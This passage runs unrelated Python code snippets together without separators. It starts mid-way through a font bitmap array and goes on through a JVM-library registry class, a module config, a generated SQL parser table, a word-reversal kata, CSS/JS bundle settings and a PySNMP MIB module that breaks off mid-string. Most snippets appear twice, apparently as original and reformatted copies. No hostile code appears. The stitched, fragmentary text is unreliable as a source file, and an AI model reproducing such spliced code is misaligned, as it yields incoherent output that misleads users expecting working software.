135, 227, 241, 240, 126, 124, 15, 159, 3, 247, 192, 253, 240, 63, 124, 15, 223, 3, 247, 192, 253, 240, 62, 124, 31, 31, 143, 198, 127, 193, 7, 192, 7, 192, 127, 195, 199, 159, 30, 120, 123, 225, 207, 128, 62, 0, 248, 3, 224, 15, 128, 63, 0, 124, 0, 252, 97, 255, 3, 240, 0, 127, 0, 7, 192, 1, 240, 0, 124, 0, 31, 0, 7, 192, 1, 240, 0, 124, 7, 159, 7, 247, 195, 227, 241, 248, 124, 124, 31, 63, 7, 207, 193, 243, 240, 124, 252, 31, 63, 7, 207, 193, 241, 240, 124, 126, 31, 15, 143, 193, 253, 252, 62, 112, 15, 192, 127, 195, 199, 30, 30, 248, 123, 255, 255, 255, 254, 0, 248, 3, 224, 15, 192, 31, 3, 126, 24, 255, 193, 254, 3, 240, 15, 131, 248, 243, 190, 247, 220, 248, 31, 3, 224, 255, 31, 225, 240, 62, 7, 192, 248, 31, 3, 224, 124, 15, 129, 240, 62, 7, 192, 248, 31, 7, 248, 15, 192, 31, 255, 223, 31, 255, 7, 143, 131, 231, 193, 243, 224, 249, 240, 124, 120, 60, 30, 62, 3, 252, 3, 0, 7, 0, 7, 128, 3, 255, 241, 255, 254, 127, 255, 143, 255, 248, 1, 252, 0, 127, 0, 115, 255, 240, 127, 192, 252, 0, 62, 0, 31, 0, 15, 128, 7, 192, 3, 224, 1, 240, 0, 248, 0, 124, 124, 62, 255, 31, 207, 207, 131, 231, 193, 243, 224, 249, 240, 124, 248, 62, 124, 31, 62, 15, 159, 7, 207, 131, 231, 193, 243, 224, 249, 240, 125, 252, 127, 57, 251, 247, 231, 128, 0, 0, 252, 249, 243, 231, 207, 159, 62, 124, 249, 243, 231, 207, 159, 127, 3, 192, 252, 31, 131, 240, 60, 0, 0, 0, 0, 15, 224, 124, 15, 129, 240, 62, 7, 192, 248, 31, 3, 224, 124, 15, 129, 240, 62, 7, 192, 248, 31, 3, 224, 125, 207, 249, 238, 124, 255, 15, 128, 252, 0, 31, 0, 7, 192, 1, 240, 0, 124, 0, 31, 0, 7, 192, 1, 240, 0, 124, 127, 159, 7, 135, 193, 129, 240, 192, 124, 96, 31, 48, 7, 222, 1, 255, 192, 127, 240, 31, 62, 7, 207, 193, 241, 248, 124, 62, 31, 7, 199, 193, 251, 249, 255, 252, 249, 243, 231, 207, 159, 62, 124, 249, 243, 231, 207, 159, 62, 124, 249, 243, 231, 207, 159, 127, 252, 124, 31, 15, 191, 207, 241, 248, 255, 63, 62, 15, 131, 231, 193, 240, 124, 248, 62, 15, 159, 7, 193, 243, 224, 248, 62, 124, 31, 7, 207, 131, 224, 249, 240, 124, 31, 62, 15, 131, 231, 193, 240, 124, 248, 62, 15, 159, 7, 193, 247, 241, 252, 127, 252, 124, 62, 255, 31, 207, 207, 131, 231, 193, 243, 224, 249, 240, 124, 248, 62, 124, 31, 62, 15, 159, 7, 207, 131, 231, 193, 243, 224, 249, 240, 125, 252, 127, 7, 240, 15, 254, 15, 143, 143, 135, 231, 193, 247, 224, 255, 240, 127, 248, 63, 252, 31, 254, 15, 255, 7, 239, 131, 231, 193, 241, 241, 240, 127, 240, 15, 224, 254, 124, 7, 223, 224, 254, 62, 31, 7, 227, 224, 124, 124, 15, 207, 129, 249, 240, 63, 62, 7, 231, 192, 252, 248, 31, 159, 3, 227, 224, 252, 126, 63, 15, 191, 193, 243, 224, 62, 0, 7, 192, 0, 248, 0, 31, 0, 3, 224, 0, 126, 0, 31, 224, 0, 7, 193, 15, 249, 143, 205, 207, 195, 231, 193, 247, 224, 251, 240, 125, 248, 62, 252, 31, 126, 15, 191, 7, 223, 131, 231, 225, 241, 241, 248, 127, 124, 31, 62, 0, 31, 0, 15, 128, 7, 192, 3, 224, 1, 240, 1, 248, 1, 254, 252, 115, 239, 223, 254, 252, 247, 195, 190, 1, 240, 15, 128, 124, 3, 224, 31, 0, 248, 7, 192, 62, 1, 240, 31, 224, 30, 35, 254, 112, 238, 6, 224, 47, 128, 255, 7, 252, 63, 224, 255, 129, 248, 7, 192, 126, 14, 191, 200, 248, 4, 3, 1, 192, 240, 124, 63, 239, 249, 240, 124, 31, 7, 193, 240, 124, 31, 7, 193, 240, 124, 95, 55, 248, 254, 30, 0, 252, 127, 31, 7, 199, 193, 241, 240, 124, 124, 31, 31, 7, 199, 193, 241, 240, 124, 124, 31, 31, 7, 199, 193, 241, 240, 124, 124, 31, 31, 143, 195, 253, 252, 124, 96, 255, 159, 191, 131, 15, 129, 135, 224, 129, 240, 64, 248, 64, 62, 32, 31, 48, 7, 208, 3, 248, 0, 248, 0, 124, 0, 60, 0, 14, 0, 7, 0, 1, 0, 255, 63, 207, 126, 31, 6, 62, 15, 6, 62, 15, 132, 31, 15, 140, 31, 31, 136, 15, 23, 200, 15, 151, 216, 15, 179, 208, 7, 227, 240, 7, 227, 224, 3, 193, 224, 3, 193, 224, 3, 129, 192, 1, 128, 192, 1, 128, 128, 255, 63, 126, 12, 62, 8, 63, 24, 31, 48, 15, 224, 15, 192, 7, 224, 3, 224, 3, 240, 5, 248, 12, 248, 24, 252, 48, 126, 112, 126, 252, 255, 255, 63, 126, 12, 124, 12, 62, 8, 62, 8, 30, 24, 31, 16, 15, 48, 15, 160, 15, 160, 7, 224, 7, 192, 3, 192, 3, 128, 1, 128, 1, 128, 1, 0, 1, 0, 97, 0, 242, 0, 246, 0, 252, 0, 120, 0, 127, 253, 255, 247, 15, 208, 62, 1, 240, 15, 192, 62, 1, 240, 15, 192, 62, 1, 248, 15, 193, 62, 5, 248, 127, 255, 255, 255, 1, 224, 248, 62, 7, 128, 240, 30, 3, 192, 120, 15, 1, 224, 60, 7, 128, 240, 30, 7, 135, 128, 30, 1, 224, 60, 7, 128, 240, 30, 3, 192, 120, 15, 1, 224, 60, 7, 128, 248, 15, 128, 120, 255, 255, 255, 255, 255, 255, 255, 255, 255, 224, 240, 15, 128, 240, 15, 1, 224, 60, 7, 128, 240, 30, 3, 192, 120, 15, 1, 224, 60, 3, 192, 15, 15, 3, 192, 120, 15, 1, 224, 60, 7, 128, 240, 30, 3, 192, 120, 15, 3, 224, 248, 60, 0, 62, 0, 127, 198, 255, 255, 97, 254, 0, 124] free_serif_bold18pt7b_glyphs = [[0, 0, 0, 9, 0, 1], [0, 6, 24, 12, 3, -23], [18, 13, 10, 19, 3, -23], [35, 18, 24, 17, 0, -23], [89, 15, 28, 17, 1, -25], [142, 27, 24, 35, 4, -23], [223, 26, 25, 29, 2, -23], [305, 4, 10, 10, 3, -23], [310, 9, 30, 12, 2, -23], [344, 9, 30, 12, 1, -23], [378, 14, 15, 18, 2, -23], [405, 19, 19, 24, 2, -17], [451, 6, 12, 9, 1, -5], [460, 8, 4, 12, 2, -9], [464, 6, 6, 9, 1, -5], [469, 11, 25, 10, -1, -23], [504, 16, 24, 18, 1, -23], [552, 12, 24, 18, 3, -23], [588, 16, 24, 17, 1, -23], [636, 16, 24, 18, 0, -23], [684, 15, 24, 18, 1, -23], [729, 15, 24, 18, 1, -23], [774, 16, 24, 18, 1, -23], [822, 16, 24, 17, 1, -23], [870, 16, 24, 17, 1, -23], [918, 16, 24, 18, 1, -23], [966, 6, 16, 12, 3, -15], [978, 7, 22, 12, 2, -15], [998, 19, 20, 24, 2, -18], [1046, 19, 12, 24, 2, -14], [1075, 19, 20, 24, 3, -18], [1123, 14, 24, 18, 2, -23], [1165, 24, 25, 33, 4, -23], [1240, 24, 24, 25, 1, -23], [1312, 21, 24, 23, 1, -23], [1375, 23, 25, 25, 1, -23], [1447, 23, 24, 26, 1, -23], [1516, 21, 24, 23, 2, -23], [1579, 19, 24, 22, 2, -23], [1636, 25, 25, 27, 1, -23], [1715, 24, 24, 27, 2, -23], [1787, 11, 24, 14, 2, -23], [1820, 16, 27, 18, 0, -23], [1874, 25, 24, 27, 2, -23], [1949, 21, 24, 23, 2, -23], [2012, 31, 24, 33, 1, -23], [2105, 23, 24, 25, 1, -23], [2174, 25, 25, 27, 1, -23], [2253, 19, 24, 22, 2, -23], [2310, 25, 30, 27, 1, -23], [2404, 23, 24, 25, 2, -23], [2473, 16, 25, 20, 2, -23], [2523, 21, 24, 23, 1, -23], [2586, 22, 25, 25, 2, -23], [2655, 24, 24, 25, 0, -23], [2727, 34, 25, 34, 0, -23], [2834, 24, 24, 25, 1, -23], [2906, 24, 24, 25, 1, -23], [2978, 21, 24, 23, 1, -23], [3041, 8, 29, 12, 2, -23], [3070, 11, 25, 10, -1, -23], [3105, 8, 29, 12, 2, -23], [3134, 15, 13, 20, 3, -23], [3159, 18, 3, 17, 0, 3], [3166, 8, 6, 12, 0, -23], [3172, 16, 16, 18, 1, -15], [3204, 18, 24, 19, 1, -23], [3258, 14, 16, 15, 1, -15], [3286, 18, 24, 19, 1, -23], [3340, 14, 16, 16, 1, -15], [3368, 11, 24, 14, 2, -23], [3401, 17, 23, 17, 1, -15], [3450, 17, 24, 19, 1, -23], [3501, 7, 24, 10, 2, -23], [3522, 11, 31, 14, 0, -23], [3565, 18, 24, 19, 1, -23], [3619, 7, 24, 10, 1, -23], [3640, 27, 16, 29, 1, -15], [3694, 17, 16, 19, 1, -15], [3728, 17, 16, 18, 1, -15], [3762, 19, 23, 19, 0, -15], [3817, 17, 23, 19, 1, -15], [3866, 13, 16, 15, 1, -15], [3892, 12, 16, 14, 1, -15], [3916, 10, 21, 12, 1, -20], [3943, 18, 16, 20, 1, -15], [3979, 17, 16, 17, 0, -15], [4013, 24, 16, 25, 0, -15], [4061, 16, 16, 18, 1, -15], [4093, 16, 23, 17, 0, -15], [4139, 14, 16, 16, 0, -15], [4167, 11, 31, 14, 1, -24], [4210, 3, 25, 8, 2, -23], [4220, 11, 31, 14, 3, -24], [4263, 16, 5, 18, 1, -11]] free_serif_bold18pt7b = [FreeSerifBold18pt7bBitmaps, FreeSerifBold18pt7bGlyphs, 32, 126, 42]
class ImportedJvmLib: _imported_libs = [] @classmethod def has_library(cls, library: str) -> bool: return library in cls._imported_libs @classmethod def import_lib(cls, library: str) -> bool: if library not in cls._imported_libs: cls._imported_libs.append(library) else: return False return True
class Importedjvmlib: _imported_libs = [] @classmethod def has_library(cls, library: str) -> bool: return library in cls._imported_libs @classmethod def import_lib(cls, library: str) -> bool: if library not in cls._imported_libs: cls._imported_libs.append(library) else: return False return True
# Load modules load_modules = { 'hw_fakeIO' : {'bus': 31}, 'gen_ping' : {'debug': 2, 'bus': 32}, 'gen_ping~1' : {'debug': 2}, 'mod_stat' : {'debug': 2} } # Scenario actions = [ {'gen_ping' : {'pipe': 2}}, {'gen_ping~1' : {'pipe': 1}}, {'hw_fakeIO' : {'action':'write','pipe':2}}, {'mod_stat' : {'pipe': 2}}, {'mod_stat' : {'pipe': 1}} ]
load_modules = {'hw_fakeIO': {'bus': 31}, 'gen_ping': {'debug': 2, 'bus': 32}, 'gen_ping~1': {'debug': 2}, 'mod_stat': {'debug': 2}} actions = [{'gen_ping': {'pipe': 2}}, {'gen_ping~1': {'pipe': 1}}, {'hw_fakeIO': {'action': 'write', 'pipe': 2}}, {'mod_stat': {'pipe': 2}}, {'mod_stat': {'pipe': 1}}]
# parsetab.py # This file is automatically generated. Do not edit. # pylint: disable=W,C,R _tabversion = '3.10' _lr_method = 'LALR' _lr_signature = 'AND CLOSE_B COLUMN_FUNCTION_NAME COMMA DIVIDE EQUALITY FROM_T GREATER_THAN LESS_THAN MINUS NOT NUMBER OPEN_B OR PLUS SELECT_T SEMICOLON TIMES WHERE_TSQLselect : SELECT_T COLUMN_FUNCTION_NAME FROM_T COLUMN_FUNCTION_NAME SEMICOLON\n | SELECT_T TIMES FROM_T COLUMN_FUNCTION_NAME SEMICOLON\n | SELECT_T function FROM_T COLUMN_FUNCTION_NAME SEMICOLON\n | SELECT_T COLUMN_FUNCTION_NAME FROM_T COLUMN_FUNCTION_NAME WHERE_T condition SEMICOLON\n | SELECT_T TIMES FROM_T COLUMN_FUNCTION_NAME WHERE_T condition SEMICOLON\n | SELECT_T function FROM_T COLUMN_FUNCTION_NAME WHERE_T condition SEMICOLON\n | SELECT_T columnlist FROM_T COLUMN_FUNCTION_NAME SEMICOLON\n | SELECT_T columnlist FROM_T COLUMN_FUNCTION_NAME WHERE_T condition SEMICOLON\n condition : COLUMN_FUNCTION_NAME EQUALITY expression\n | COLUMN_FUNCTION_NAME LESS_THAN expression\n | COLUMN_FUNCTION_NAME GREATER_THAN expression\n expression : expression PLUS expression\n | expression MINUS expression\n | expression TIMES expression\n | expression DIVIDE expression\n | expression AND expression\n | expression OR expression\n | NOT expression\n | NUMBERfunction : COLUMN_FUNCTION_NAME OPEN_B COLUMN_FUNCTION_NAME CLOSE_B \n columnlist : COLUMN_FUNCTION_NAME\n | COLUMN_FUNCTION_NAME COMMA columnlist\n ' _lr_action_items = {'AND':([42,43,44,45,46,53,54,55,56,57,58,],[-19,47,47,47,47,47,47,47,47,47,47,]),'NOT':([35,36,37,41,47,48,49,50,51,52,],[41,41,41,41,41,41,41,41,41,41,]),'CLOSE_B':([17,],[24,]),'TIMES':([2,42,43,44,45,46,53,54,55,56,57,58,],[3,-19,51,51,51,51,51,51,51,51,51,51,]),'$end':([1,20,23,25,27,34,38,39,40,],[0,-2,-3,-1,-7,-5,-6,-4,-8,]),'OPEN_B':([5,],[10,]),'WHERE_T':([13,14,18,19,],[21,22,26,28,]),'DIVIDE':([42,43,44,45,46,53,54,55,56,57,58,],[-19,50,50,50,50,50,50,50,50,50,50,]),'FROM_T':([3,4,5,6,15,16,24,],[7,8,11,12,-21,-22,-20,]),'GREATER_THAN':([30,],[36,]),'SELECT_T':([0,],[2,]),'COMMA':([5,15,],[9,9,]),'OR':([42,43,44,45,46,53,54,55,56,57,58,],[-19,48,48,48,48,48,48,48,48,48,48,]),'COLUMN_FUNCTION_NAME':([2,7,8,9,10,11,12,21,22,26,28,],[5,13,14,15,17,18,19,30,30,30,30,]),'SEMICOLON':([13,14,18,19,29,31,32,33,42,43,44,45,46,53,54,55,56,57,58,],[20,23,25,27,34,38,39,40,-19,-9,-11,-10,-18,-16,-17,-13,-15,-14,-12,]),'EQUALITY':([30,],[35,]),'MINUS':([42,43,44,45,46,53,54,55,56,57,58,],[-19,49,49,49,49,49,49,49,49,49,49,]),'LESS_THAN':([30,],[37,]),'PLUS':([42,43,44,45,46,53,54,55,56,57,58,],[-19,52,52,52,52,52,52,52,52,52,52,]),'NUMBER':([35,36,37,41,47,48,49,50,51,52,],[42,42,42,42,42,42,42,42,42,42,]),} _lr_action = {} for _k, _v in _lr_action_items.items(): for _x,_y in zip(_v[0],_v[1]): if not _x in _lr_action: _lr_action[_x] = {} _lr_action[_x][_k] = _y del _lr_action_items _lr_goto_items = {'condition':([21,22,26,28,],[29,31,32,33,]),'function':([2,],[4,]),'SQLselect':([0,],[1,]),'expression':([35,36,37,41,47,48,49,50,51,52,],[43,44,45,46,53,54,55,56,57,58,]),'columnlist':([2,9,],[6,16,]),} _lr_goto = {} for _k, _v in _lr_goto_items.items(): for _x, _y in zip(_v[0], _v[1]): if not _x in _lr_goto: _lr_goto[_x] = {} _lr_goto[_x][_k] = _y del _lr_goto_items _lr_productions = [ ("S' -> SQLselect","S'",1,None,None,None), ('SQLselect -> SELECT_T COLUMN_FUNCTION_NAME FROM_T COLUMN_FUNCTION_NAME SEMICOLON','SQLselect',5,'p_SQLselect','parsesql.py',87), ('SQLselect -> SELECT_T TIMES FROM_T COLUMN_FUNCTION_NAME SEMICOLON','SQLselect',5,'p_SQLselect','parsesql.py',88), ('SQLselect -> SELECT_T function FROM_T COLUMN_FUNCTION_NAME SEMICOLON','SQLselect',5,'p_SQLselect','parsesql.py',89), ('SQLselect -> SELECT_T COLUMN_FUNCTION_NAME FROM_T COLUMN_FUNCTION_NAME WHERE_T condition SEMICOLON','SQLselect',7,'p_SQLselect','parsesql.py',90), ('SQLselect -> SELECT_T TIMES FROM_T COLUMN_FUNCTION_NAME WHERE_T condition SEMICOLON','SQLselect',7,'p_SQLselect','parsesql.py',91), ('SQLselect -> SELECT_T function FROM_T COLUMN_FUNCTION_NAME WHERE_T condition SEMICOLON','SQLselect',7,'p_SQLselect','parsesql.py',92), ('SQLselect -> SELECT_T columnlist FROM_T COLUMN_FUNCTION_NAME SEMICOLON','SQLselect',5,'p_SQLselect','parsesql.py',93), ('SQLselect -> SELECT_T columnlist FROM_T COLUMN_FUNCTION_NAME WHERE_T condition SEMICOLON','SQLselect',7,'p_SQLselect','parsesql.py',94), ('condition -> COLUMN_FUNCTION_NAME EQUALITY expression','condition',3,'p_condition','parsesql.py',99), ('condition -> COLUMN_FUNCTION_NAME LESS_THAN expression','condition',3,'p_condition','parsesql.py',100), ('condition -> COLUMN_FUNCTION_NAME GREATER_THAN expression','condition',3,'p_condition','parsesql.py',101), ('expression -> expression PLUS expression','expression',3,'p_expression','parsesql.py',106), ('expression -> expression MINUS expression','expression',3,'p_expression','parsesql.py',107), ('expression -> expression TIMES expression','expression',3,'p_expression','parsesql.py',108), ('expression -> expression DIVIDE expression','expression',3,'p_expression','parsesql.py',109), ('expression -> expression AND expression','expression',3,'p_expression','parsesql.py',110), ('expression -> expression OR expression','expression',3,'p_expression','parsesql.py',111), ('expression -> NOT expression','expression',2,'p_expression','parsesql.py',112), ('expression -> NUMBER','expression',1,'p_expression','parsesql.py',113), ('function -> COLUMN_FUNCTION_NAME OPEN_B COLUMN_FUNCTION_NAME CLOSE_B','function',4,'p_function','parsesql.py',117), ('columnlist -> COLUMN_FUNCTION_NAME','columnlist',1,'p_columnlist','parsesql.py',122), ('columnlist -> COLUMN_FUNCTION_NAME COMMA columnlist','columnlist',3,'p_columnlist','parsesql.py',123), ]
_tabversion = '3.10' _lr_method = 'LALR' _lr_signature = 'AND CLOSE_B COLUMN_FUNCTION_NAME COMMA DIVIDE EQUALITY FROM_T GREATER_THAN LESS_THAN MINUS NOT NUMBER OPEN_B OR PLUS SELECT_T SEMICOLON TIMES WHERE_TSQLselect : SELECT_T COLUMN_FUNCTION_NAME FROM_T COLUMN_FUNCTION_NAME SEMICOLON\n | SELECT_T TIMES FROM_T COLUMN_FUNCTION_NAME SEMICOLON\n | SELECT_T function FROM_T COLUMN_FUNCTION_NAME SEMICOLON\n | SELECT_T COLUMN_FUNCTION_NAME FROM_T COLUMN_FUNCTION_NAME WHERE_T condition SEMICOLON\n | SELECT_T TIMES FROM_T COLUMN_FUNCTION_NAME WHERE_T condition SEMICOLON\n | SELECT_T function FROM_T COLUMN_FUNCTION_NAME WHERE_T condition SEMICOLON\n | SELECT_T columnlist FROM_T COLUMN_FUNCTION_NAME SEMICOLON\n | SELECT_T columnlist FROM_T COLUMN_FUNCTION_NAME WHERE_T condition SEMICOLON\n condition : COLUMN_FUNCTION_NAME EQUALITY expression\n | COLUMN_FUNCTION_NAME LESS_THAN expression\n | COLUMN_FUNCTION_NAME GREATER_THAN expression\n expression : expression PLUS expression\n | expression MINUS expression\n | expression TIMES expression\n | expression DIVIDE expression\n | expression AND expression\n | expression OR expression\n | NOT expression\n | NUMBERfunction : COLUMN_FUNCTION_NAME OPEN_B COLUMN_FUNCTION_NAME CLOSE_B \n columnlist : COLUMN_FUNCTION_NAME\n | COLUMN_FUNCTION_NAME COMMA columnlist\n ' _lr_action_items = {'AND': ([42, 43, 44, 45, 46, 53, 54, 55, 56, 57, 58], [-19, 47, 47, 47, 47, 47, 47, 47, 47, 47, 47]), 'NOT': ([35, 36, 37, 41, 47, 48, 49, 50, 51, 52], [41, 41, 41, 41, 41, 41, 41, 41, 41, 41]), 'CLOSE_B': ([17], [24]), 'TIMES': ([2, 42, 43, 44, 45, 46, 53, 54, 55, 56, 57, 58], [3, -19, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51]), '$end': ([1, 20, 23, 25, 27, 34, 38, 39, 40], [0, -2, -3, -1, -7, -5, -6, -4, -8]), 'OPEN_B': ([5], [10]), 'WHERE_T': ([13, 14, 18, 19], [21, 22, 26, 28]), 'DIVIDE': ([42, 43, 44, 45, 46, 53, 54, 55, 56, 57, 58], [-19, 50, 50, 50, 50, 50, 50, 50, 50, 50, 50]), 'FROM_T': ([3, 4, 5, 6, 15, 16, 24], [7, 8, 11, 12, -21, -22, -20]), 'GREATER_THAN': ([30], [36]), 'SELECT_T': ([0], [2]), 'COMMA': ([5, 15], [9, 9]), 'OR': ([42, 43, 44, 45, 46, 53, 54, 55, 56, 57, 58], [-19, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48]), 'COLUMN_FUNCTION_NAME': ([2, 7, 8, 9, 10, 11, 12, 21, 22, 26, 28], [5, 13, 14, 15, 17, 18, 19, 30, 30, 30, 30]), 'SEMICOLON': ([13, 14, 18, 19, 29, 31, 32, 33, 42, 43, 44, 45, 46, 53, 54, 55, 56, 57, 58], [20, 23, 25, 27, 34, 38, 39, 40, -19, -9, -11, -10, -18, -16, -17, -13, -15, -14, -12]), 'EQUALITY': ([30], [35]), 'MINUS': ([42, 43, 44, 45, 46, 53, 54, 55, 56, 57, 58], [-19, 49, 49, 49, 49, 49, 49, 49, 49, 49, 49]), 'LESS_THAN': ([30], [37]), 'PLUS': ([42, 43, 44, 45, 46, 53, 54, 55, 56, 57, 58], [-19, 52, 52, 52, 52, 52, 52, 52, 52, 52, 52]), 'NUMBER': ([35, 36, 37, 41, 47, 48, 49, 50, 51, 52], [42, 42, 42, 42, 42, 42, 42, 42, 42, 42])} _lr_action = {} for (_k, _v) in _lr_action_items.items(): for (_x, _y) in zip(_v[0], _v[1]): if not _x in _lr_action: _lr_action[_x] = {} _lr_action[_x][_k] = _y del _lr_action_items _lr_goto_items = {'condition': ([21, 22, 26, 28], [29, 31, 32, 33]), 'function': ([2], [4]), 'SQLselect': ([0], [1]), 'expression': ([35, 36, 37, 41, 47, 48, 49, 50, 51, 52], [43, 44, 45, 46, 53, 54, 55, 56, 57, 58]), 'columnlist': ([2, 9], [6, 16])} _lr_goto = {} for (_k, _v) in _lr_goto_items.items(): for (_x, _y) in zip(_v[0], _v[1]): if not _x in _lr_goto: _lr_goto[_x] = {} _lr_goto[_x][_k] = _y del _lr_goto_items _lr_productions = [("S' -> SQLselect", "S'", 1, None, None, None), ('SQLselect -> SELECT_T COLUMN_FUNCTION_NAME FROM_T COLUMN_FUNCTION_NAME SEMICOLON', 'SQLselect', 5, 'p_SQLselect', 'parsesql.py', 87), ('SQLselect -> SELECT_T TIMES FROM_T COLUMN_FUNCTION_NAME SEMICOLON', 'SQLselect', 5, 'p_SQLselect', 'parsesql.py', 88), ('SQLselect -> SELECT_T function FROM_T COLUMN_FUNCTION_NAME SEMICOLON', 'SQLselect', 5, 'p_SQLselect', 'parsesql.py', 89), ('SQLselect -> SELECT_T COLUMN_FUNCTION_NAME FROM_T COLUMN_FUNCTION_NAME WHERE_T condition SEMICOLON', 'SQLselect', 7, 'p_SQLselect', 'parsesql.py', 90), ('SQLselect -> SELECT_T TIMES FROM_T COLUMN_FUNCTION_NAME WHERE_T condition SEMICOLON', 'SQLselect', 7, 'p_SQLselect', 'parsesql.py', 91), ('SQLselect -> SELECT_T function FROM_T COLUMN_FUNCTION_NAME WHERE_T condition SEMICOLON', 'SQLselect', 7, 'p_SQLselect', 'parsesql.py', 92), ('SQLselect -> SELECT_T columnlist FROM_T COLUMN_FUNCTION_NAME SEMICOLON', 'SQLselect', 5, 'p_SQLselect', 'parsesql.py', 93), ('SQLselect -> SELECT_T columnlist FROM_T COLUMN_FUNCTION_NAME WHERE_T condition SEMICOLON', 'SQLselect', 7, 'p_SQLselect', 'parsesql.py', 94), ('condition -> COLUMN_FUNCTION_NAME EQUALITY expression', 'condition', 3, 'p_condition', 'parsesql.py', 99), ('condition -> COLUMN_FUNCTION_NAME LESS_THAN expression', 'condition', 3, 'p_condition', 'parsesql.py', 100), ('condition -> COLUMN_FUNCTION_NAME GREATER_THAN expression', 'condition', 3, 'p_condition', 'parsesql.py', 101), ('expression -> expression PLUS expression', 'expression', 3, 'p_expression', 'parsesql.py', 106), ('expression -> expression MINUS expression', 'expression', 3, 'p_expression', 'parsesql.py', 107), ('expression -> expression TIMES expression', 'expression', 3, 'p_expression', 'parsesql.py', 108), ('expression -> expression DIVIDE expression', 'expression', 3, 'p_expression', 'parsesql.py', 109), ('expression -> expression AND expression', 'expression', 3, 'p_expression', 'parsesql.py', 110), ('expression -> expression OR expression', 'expression', 3, 'p_expression', 'parsesql.py', 111), ('expression -> NOT expression', 'expression', 2, 'p_expression', 'parsesql.py', 112), ('expression -> NUMBER', 'expression', 1, 'p_expression', 'parsesql.py', 113), ('function -> COLUMN_FUNCTION_NAME OPEN_B COLUMN_FUNCTION_NAME CLOSE_B', 'function', 4, 'p_function', 'parsesql.py', 117), ('columnlist -> COLUMN_FUNCTION_NAME', 'columnlist', 1, 'p_columnlist', 'parsesql.py', 122), ('columnlist -> COLUMN_FUNCTION_NAME COMMA columnlist', 'columnlist', 3, 'p_columnlist', 'parsesql.py', 123)]
# nlantau, 2002-11-08 def spin_words(s): # s = s.split(" ") # for i, word in enumerate(s): # if len(word) >= 5: # s[i] = word[::-1] # return " ".join(s) return " ".join([i[::-1] if len(i) >= 5 else i for i in s.split(" ")]) print(spin_words("hey my name is Niklas Welcome"))
def spin_words(s): return ' '.join([i[::-1] if len(i) >= 5 else i for i in s.split(' ')]) print(spin_words('hey my name is Niklas Welcome'))
CSS_BUNDLES = { 'common': ( 'css/normalize.css', 'less/style.less', ), 'profile': ( 'less/profile.less', ) } JS_BUNDLES = { 'common': ( 'js/standup.js', ) }
css_bundles = {'common': ('css/normalize.css', 'less/style.less'), 'profile': ('less/profile.less',)} js_bundles = {'common': ('js/standup.js',)}
# # PySNMP MIB module BIANCA-BRICK-TDRC-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/BIANCA-BRICK-TDRC-MIB # Produced by pysmi-0.3.4 at Wed May 1 11:38:47 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # ObjectIdentifier, OctetString, Integer = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "OctetString", "Integer") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") SingleValueConstraint, ValueRangeConstraint, ConstraintsUnion, ValueSizeConstraint, ConstraintsIntersection = mibBuilder.importSymbols("ASN1-REFINEMENT", "SingleValueConstraint", "ValueRangeConstraint", "ConstraintsUnion", "ValueSizeConstraint", "ConstraintsIntersection") DisplayString, = mibBuilder.importSymbols("RFC1158-MIB", "DisplayString") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup") Counter64, Integer32, MibScalar, MibTable, MibTableRow, MibTableColumn, enterprises, iso, TimeTicks, NotificationType, Gauge32, ObjectIdentity, Counter32, Unsigned32, ModuleIdentity, IpAddress, MibIdentifier, Bits = mibBuilder.importSymbols("SNMPv2-SMI", "Counter64", "Integer32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "enterprises", "iso", "TimeTicks", "NotificationType", "Gauge32", "ObjectIdentity", "Counter32", "Unsigned32", "ModuleIdentity", "IpAddress", "MibIdentifier", "Bits") DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention") bintec = MibIdentifier((1, 3, 6, 1, 4, 1, 272)) bibo = MibIdentifier((1, 3, 6, 1, 4, 1, 272, 4)) biboip = MibIdentifier((1, 3, 6, 1, 4, 1, 272, 4, 5)) ipTdrcTable = MibTable((1, 3, 6, 1, 4, 1, 272, 4, 5, 43), ) if mibBuilder.loadTexts: ipTdrcTable.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcTable.setDescription("The ipTdrcTable enables the TCP Download Rate Control (TDRC) on the interface specified by ipTdrcIfIndex (interface index). Creating entries: Entries are created by assigning an interface index to the ipTdrcIfIndex object. Deleting entries: Entries are removed by setting an entry's ipTdrcMode object to 'delete'.") ipTdrcEntry = MibTableRow((1, 3, 6, 1, 4, 1, 272, 4, 5, 43, 1), ).setIndexNames((0, "BIANCA-BRICK-TDRC-MIB", "ipTdrcIfIndex")) if mibBuilder.loadTexts: ipTdrcEntry.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcEntry.setDescription('') ipTdrcIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 272, 4, 5, 43, 1, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: ipTdrcIfIndex.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcIfIndex.setDescription('The associated Interface Index.') ipTdrcMode = MibTableColumn((1, 3, 6, 1, 4, 1, 272, 4, 5, 43, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("disabled", 1), ("ack-prioritisation", 2), ("static", 3), ("dynamic", 4), ("delete", 5))).clone('static')).setMaxAccess("readwrite") if mibBuilder.loadTexts: ipTdrcMode.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcMode.setDescription('The TDRC mode for the associated interface. disabled(1): no TDRC active ack-prioritisation(2): preferential transmission of TCP ACK messages static(3): static TCP download limitation determined by ipTdrcMaxRate dynamic(4): dynamic TCP download limitation determined by ipTdrcMaxRate less amount of high priority traffic send via the associated interface delete(5): this entry will be deleted') ipTdrcMaxRate = MibTableColumn((1, 3, 6, 1, 4, 1, 272, 4, 5, 43, 1, 3), Integer32().clone(1024000)).setMaxAccess("readwrite") if mibBuilder.loadTexts: ipTdrcMaxRate.setStatus('mandatory') if mibBuilder.loadTexts: ipTdrcMaxRate.setDescription('The 